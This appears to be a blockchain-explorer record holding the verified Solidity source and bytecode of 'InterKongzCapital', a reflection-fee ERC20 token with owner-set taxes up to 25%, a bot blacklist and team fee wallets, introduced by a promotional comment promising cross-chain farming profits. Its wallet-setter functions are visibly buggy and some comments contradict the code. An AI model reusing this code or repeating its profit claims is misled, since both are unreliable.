6020610cc085828601610bc5565b9150509250929050565b610cd381611205565b82525050565b6000610ce48261114d565b610cee8185611158565b9350610cfe818560208601611248565b610d078161130b565b840191505092915050565b6000610d1f602383611158565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d85602283611158565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610deb602683611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e51602883611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eb7602583611158565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1d602483611158565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f83602583611158565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fe581611231565b82525050565b610ff48161123b565b82525050565b600060208201905061100f6000830184610cca565b92915050565b6000602082019050818103600083015261102f8184610cd9565b905092915050565b6000602082019050818103600083015261105081610d12565b9050919050565b6000602082019050818103600083015261107081610d78565b9050919050565b6000602082019050818103600083015261109081610dde565b9050919050565b600060208201905081810360008301526110b081610e44565b9050919050565b600060208201905081810360008301526110d081610eaa565b9050919050565b600060208201905081810360008301526110f081610f10565b9050919050565b6000602082019050818103600083015261111081610f76565b9050919050565b600060208201905061112c6000830184610fdc565b92915050565b60006020820190506111476000830184610feb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061117482611231565b915061117f83611231565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111b4576111b36112ad565b5b828201905092915050565b60006111ca82611231565b91506111d583611231565b9250828210156111e8576111e76112ad565b5b828203905092915050565b60006111fe82611211565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000600282049050600182168061129357607f821691505b602082108114156112a7576112a66112dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611325816111f3565b811461133057600080fd5b50565b61133c81611231565b811461134757600080fd5b5056fea26469706673582212205b467fd9e40f552a6da2f0cd5ac2aa47a79b419843ccd7122c0fffe55bb9abfd64736f6c63430008000033
{"success": true, "error": null, "results": {}}
8,337
0x20ddd9cea42623f55c4af188ef23ee1d0e6a4d74
/** *Submitted for verification at Etherscan.io on 2021-12-01 */ // File: IKC.sol /** Inter-Kongz Capital: $IKC -Whose Kongz is that? I think I know. Its owner is quite happy though. Full of joy like a vivid rainbow, I watch him laugh. I cry hello. He gives his Kongz a shake, And laughs until her belly aches. The only other sound's the break, Of distant waves and birds awake. The Kongz is Cyber, and deep, But he has promises to keep, After cake and lots of sleep. Sweet dreams come to him cheap. -Custom contract imporvement from CyberKongz community. -We hope to bring benefit of DeFi 3.0 cross-chain yield generation to $IKC holders. -You buy on Ethereum, we carefully ape on multiple chains and return the profits to $IKC holders. Tokenomics: 10% of tax goes to existing holders. 10% of tax goes into cross-chain farming to add to the treasury and buy back IKC tokens. Roar. */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract InterKongzCapital is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "InterKongzCapital"; string private constant _symbol = "IKC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping (address => bool) public _isExcludedMaxTxAmount; mapping(address => bool) private _isExcludedFromReflection; address[] private _excludedFromReflection; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 1e9 * 1e9; //1,000,000,000,000 uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) public bots; uint256 private _reflectionFeeOnBuy = 10; uint256 private _taxFeeOnBuy = 15; uint256 private _reflectionFeeOnSell = 10; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _reflectionFee = _reflectionFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousReflectionFee = _reflectionFee; uint256 private _previousTaxFee = _taxFee; //change these addresses or you will burn your dev tax address payable public _ikcAddress = payable(0x65696351807C42D558cFAfC213b1acc9a7e943C7); //treasury wallet address payable public _mktgAddress = payable(0x7bFEf3ff363F4A2A8f58eba3ca3E1BB91993087A); //token marketing/development wallet IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = true; bool public tradingActive = false; uint256 public _maxTxAmount = 5000 * 1e8 * 1e9; uint256 public _maxWalletSize = 5000 * 1e8 * 1e9; uint256 public _swapTokensAtAmount = 5000 * 1e8 * 1e9; event ExcludeFromReflection(address excludedAddress); event IncludeInReflection(address includedAddress); event ExcludeFromFee(address excludedAddress); event IncludeInFee(address includedAddress); event UpdatedMktgAddress(address mktg); //team support wallet event UpdatedikcAddress(address ikc); //investment wallet event SetBuyFee(uint256 buyMktgFee, uint256 buyReflectionFee); event SetSellFee(uint256 sellMktgFee, uint256 sellReflectionFee); event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_ikcAddress] = true; _isExcludedFromFee[_mktgAddress] = true; excludeFromMaxTxAmount(owner(), true); excludeFromMaxTxAmount(address(this), true); excludeFromMaxTxAmount(address(_ikcAddress), true); excludeFromMaxTxAmount(address(_mktgAddress), true); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; emit ExcludeFromFee(account); } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; emit IncludeInFee(account); } function excludeFromReflection(address account) public onlyOwner { require(!_isExcludedFromReflection[account], "Account is already excluded"); require(_excludedFromReflection.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address."); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromReflection[account] = true; _excludedFromReflection.push(account); } function includeInReflection(address account) public onlyOwner { require(_isExcludedFromReflection[account], "Account is not excluded from reflection"); for (uint256 i = 0; i < _excludedFromReflection.length; i++) { if (_excludedFromReflection[i] == account) { _excludedFromReflection[i] = _excludedFromReflection[_excludedFromReflection.length - 1]; _tOwned[account] = 0; _isExcludedFromReflection[account] = false; _excludedFromReflection.pop(); break; } } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_reflectionFee == 0 && _taxFee == 0) return; _previousReflectionFee = _reflectionFee; _previousTaxFee = _taxFee; _reflectionFee = 0; _taxFee = 0; } function restoreAllFee() private { _reflectionFee = _previousReflectionFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingActive) if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (!_isExcludedFromFee[from]) { require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _ikcAddress.transfer(amount.div(2)); _mktgAddress.transfer(amount.div(2)); } function manualSwap() external { require(_msgSender() == _ikcAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _ikcAddress || _msgSender() == _mktgAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 reflectionFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(reflectionFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _reflectionFeeOnBuy = reflectionFeeOnBuy; _taxFeeOnBuy = taxFeeOnBuy; _reflectionFeeOnSell = reflectionFeeOnSell; _taxFeeOnSell = taxFeeOnSell; require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 25, "Must keep buy taxes below 25%"); //wont allow taxes to go above 10% require(_reflectionFeeOnSell + _taxFeeOnSell <= 25, "Must keep buy taxes below 25%"); //wont allow taxes to go above 10% } // once enabled, can never be turned off function enableTrading() internal onlyOwner { tradingActive = true; } function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot relaunch."); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _transfer(msg.sender, wallet, amount); } enableTrading(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTxAmount(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTxAmount(address(uniswapV2Pair), true); return true; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set max transaction function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function excludeFromMaxTxAmount(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTxAmount[updAds] = isEx; } //set max wallet function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } //set wallet address function _setikcAddress(address ikcAddress) external onlyOwner { require(_ikcAddress != address(0), "_ikcAddress cannot be 0"); _isExcludedFromFee[ikcAddress] = false; ikcAddress = payable(_ikcAddress); _isExcludedFromFee[ikcAddress] = true; emit UpdatedikcAddress(_ikcAddress); } //set wallet address function _setMktgAddress(address mktgAddress) external onlyOwner { require(_mktgAddress != address(0), "_mktgAddress cannot be 0"); _isExcludedFromFee[mktgAddress] = false; mktgAddress = payable(_mktgAddress); _isExcludedFromFee[mktgAddress] = true; emit UpdatedMktgAddress(_mktgAddress); } }
0x60806040526004361061021c5760003560e01c80636724348211610123578063a9059cbb116100ab578063ea1644d51161006f578063ea1644d5146106a4578063ea2f0b37146106c4578063ec28438a146106e4578063f2fde38b14610704578063f42938901461072457600080fd5b8063a9059cbb146105cd578063bbc0c742146105ed578063bfd792841461060e578063dd62ed3e1461063e578063e755d0cf1461068457600080fd5b80638da5cb5b116100f25780638da5cb5b1461052d5780638f9a55c01461054b57806395d89b411461056157806398a5c3151461058d578063a2a957bb146105ad57600080fd5b806367243482146104b75780636b999053146104d757806370a08231146104f75780637d1db4a51461051757600080fd5b80632fd689e3116101a657806351bc3c851161017557806351bc3c8514610412578063526fee4f14610427578063563912bd14610447578063595cc84f1461047757806361bf96071461049757600080fd5b80632fd689e3146103a0578063313ce567146103b6578063437823ec146103d257806349bd5a5e146103f257600080fd5b8063095ea7b3116101ed578063095ea7b3146102ea5780631694505e1461031a57806318160ddd1461033a57806323b872dd1461036057806327334a081461038057600080fd5b806286803414610228578062b8cf2a1461026557806305f82a451461028757806306fdde03146102a757600080fd5b3661022357005b600080fd5b34801561023457600080fd5b50601554610248906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561027157600080fd5b506102856102803660046125d0565b610739565b005b34801561029357600080fd5b506102856102a23660046124bd565b6107d8565b3480156102b357600080fd5b50604080518082019091526011815270125b9d195c92dbdb99de90d85c1a5d185b607a1b60208201525b60405161025c919061271a565b3480156102f657600080fd5b5061030a6103053660046125a4565b61099b565b604051901515815260200161025c565b34801561032657600080fd5b50601654610248906001600160a01b031681565b34801561034657600080fd5b50683635c9adc5dea000005b60405190815260200161025c565b34801561036c57600080fd5b5061030a61037b366004612530565b6109b2565b34801561038c57600080fd5b5061028561039b3660046124bd565b610a1b565b3480156103ac57600080fd5b50610352601a5481565b3480156103c257600080fd5b506040516009815260200161025c565b3480156103de57600080fd5b506102856103ed3660046124bd565b610c09565b3480156103fe57600080fd5b50601754610248906001600160a01b031681565b34801561041e57600080fd5b50610285610c8e565b34801561043357600080fd5b50601454610248906001600160a01b031681565b34801561045357600080fd5b5061030a6104623660046124bd565b60066020526000908152604090205460ff1681565b34801561048357600080fd5b50610285610492366004612571565b610cc7565b3480156104a357600080fd5b506102856104b23660046124bd565b610d1c565b3480156104c357600080fd5b5061030a6104d236600461260d565b610e0e565b3480156104e357600080fd5b506102856104f23660046124bd565b611176565b34801561050357600080fd5b506103526105123660046124bd565b6111c1565b34801561052357600080fd5b5061035260185481565b34801561053957600080fd5b506000546001600160a01b0316610248565b34801561055757600080fd5b5061035260195481565b34801561056d57600080fd5b50604080518082019091526003815262494b4360e81b60208201526102dd565b34801561059957600080fd5b506102856105a83660046126cf565b6111e3565b3480156105b957600080fd5b506102856105c83660046126e8565b611212565b3480156105d957600080fd5b5061030a6105e83660046125a4565b611310565b3480156105f957600080fd5b5060175461030a90600160b01b900460ff1681565b34801561061a57600080fd5b5061030a6106293660046124bd565b600b6020526000908152604090205460ff1681565b34801561064a57600080fd5b506103526106593660046124f7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561069057600080fd5b5061028561069f3660046124bd565b61131d565b3480156106b057600080fd5b506102856106bf3660046126cf565b61140f565b3480156106d057600080fd5b506102856106df3660046124bd565b61143e565b3480156106f057600080fd5b506102856106ff3660046126cf565b6114b9565b34801561071057600080fd5b5061028561071f3660046124bd565b6114e8565b34801561073057600080fd5b506102856115d2565b6000546001600160a01b0316331461076c5760405162461bcd60e51b81526004016107639061276f565b60405180910390fd5b60005b81518110156107d4576001600b600084848151811061079057610790612921565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107cc816128da565b91505061076f565b5050565b6000546001600160a01b031633146108025760405162461bcd60e51b81526004016107639061276f565b6001600160a01b03811660009081526007602052604090205460ff1661087a5760405162461bcd60e51b815260206004820152602760248201527f4163636f756e74206973206e6f74206578636c756465642066726f6d207265666044820152663632b1ba34b7b760c91b6064820152608401610763565b60005b6008548110156107d457816001600160a01b0316600882815481106108a4576108a4612921565b6000918252602090912001546001600160a01b0316141561098957600880546108cf906001906128c3565b815481106108df576108df612921565b600091825260209091200154600880546001600160a01b03909216918390811061090b5761090b612921565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600790925220805460ff1916905560088054806109635761096361290b565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610993816128da565b91505061087d565b60006109a833848461161a565b5060015b92915050565b60006109bf84848461173e565b610a118433610a0c85604051806060016040528060288152602001612963602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611c7f565b61161a565b5060019392505050565b6000546001600160a01b03163314610a455760405162461bcd60e51b81526004016107639061276f565b6001600160a01b03811660009081526007602052604090205460ff1615610aae5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610763565b600854603290610abf90600161286a565b1115610b495760405162461bcd60e51b815260206004820152604d60248201527f43616e6e6f74206578636c756465206d6f7265207468616e203530206163636f60448201527f756e74732e2020496e636c75646520612070726576696f75736c79206578636c60648201526c3ab232b21030b2323932b9b99760991b608482015260a401610763565b6001600160a01b03811660009081526002602052604090205415610ba3576001600160a01b038116600090815260026020526040902054610b8990611cb9565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b03163314610c335760405162461bcd60e51b81526004016107639061276f565b6001600160a01b038116600081815260056020908152604091829020805460ff1916600117905590519182527f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b6291015b60405180910390a150565b6014546001600160a01b0316336001600160a01b031614610cae57600080fd5b6000610cb9306111c1565b9050610cc481611d3d565b50565b6000546001600160a01b03163314610cf15760405162461bcd60e51b81526004016107639061276f565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610d465760405162461bcd60e51b81526004016107639061276f565b6014546001600160a01b0316610d9e5760405162461bcd60e51b815260206004820152601760248201527f5f696b63416464726573732063616e6e6f7420626520300000000000000000006044820152606401610763565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556014805486168086529483902080549092166001179091555490519316835290917f92145cf2ae69993a377e307ce90379b06c6ad9c572a43b99ffe0661cc73a3cd09101610c83565b600080546001600160a01b03163314610e395760405162461bcd60e51b81526004016107639061276f565b601754600160b01b900460ff1615610ea75760405162461bcd60e51b815260206004820152602b60248201527f54726164696e6720697320616c7265616479206163746976652c2063616e6e6f60448201526a3a103932b630bab731b41760a91b6064820152608401610763565b60c8835110610f175760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203230302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b6064820152608401610763565b60005b8351811015610f7f576000848281518110610f3757610f37612921565b602002602001015190506000848381518110610f5557610f55612921565b60200260200101519050610f6a33838361173e565b50508080610f77906128da565b915050610f1a565b50610f88611ec6565b737a250d5630b4cf539739df2c5dacb4c659f2488d610fa8816001610cc7565b601680546001600160a01b0319166001600160a01b038316908117909155610fdb903090683635c9adc5dea0000061161a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561101457600080fd5b505afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c91906124da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561109457600080fd5b505afa1580156110a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cc91906124da565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561111457600080fd5b505af1158015611128573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114c91906124da565b601780546001600160a01b0319166001600160a01b03929092169182179055610a11906001610cc7565b6000546001600160a01b031633146111a05760405162461bcd60e51b81526004016107639061276f565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6001600160a01b0381166000908152600260205260408120546109ac90611cb9565b6000546001600160a01b0316331461120d5760405162461bcd60e51b81526004016107639061276f565b601a55565b6000546001600160a01b0316331461123c5760405162461bcd60e51b81526004016107639061276f565b600c849055600d829055600e839055600f819055601961125c838661286a565b11156112aa5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203235250000006044820152606401610763565b6019600f54600e546112bc919061286a565b111561130a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203235250000006044820152606401610763565b50505050565b60006109a833848461173e565b6000546001600160a01b031633146113475760405162461bcd60e51b81526004016107639061276f565b6015546001600160a01b031661139f5760405162461bcd60e51b815260206004820152601860248201527f5f6d6b7467416464726573732063616e6e6f74206265203000000000000000006044820152606401610763565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556015805486168086529483902080549092166001179091555490519316835290917f4aeacdf11926d26257f8e9ea6e9091947978ac978705e15835bf04f21f4fa69b9101610c83565b6000546001600160a01b031633146114395760405162461bcd60e51b81526004016107639061276f565b601955565b6000546001600160a01b031633146114685760405162461bcd60e51b81526004016107639061276f565b6001600160a01b038116600081815260056020908152604091829020805460ff1916905590519182527f4f6a6b6efe34ec6478021aa9fb7f6980e78ea3a10c74074a8ce49d5d3ebf1f7e9101610c83565b6000546001600160a01b031633146114e35760405162461bcd60e51b81526004016107639061276f565b601855565b6000546001600160a01b031633146115125760405162461bcd60e51b81526004016107639061276f565b6001600160a01b0381166115775760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610763565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b0316148061160757506015546001600160a01b0316336001600160a01b0316145b61161057600080fd5b47610cc481611f05565b6001600160a01b03831661167c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610763565b6001600160a01b0382166116dd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610763565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166117a25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610763565b6001600160a01b0382166118045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610763565b600081116118665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610763565b6000546001600160a01b0384811691161480159061189257506000546001600160a01b03838116911614155b15611ae757601754600160b01b900460ff16611a5a576017546001600160a01b038381169116148015906118d457506016546001600160a01b03838116911614155b80156118f957506001600160a01b03821660009081526005602052604090205460ff16155b15611a5a576019548161190b846111c1565b611915919061286a565b1061196e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610763565b6018548111156119c05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610763565b6001600160a0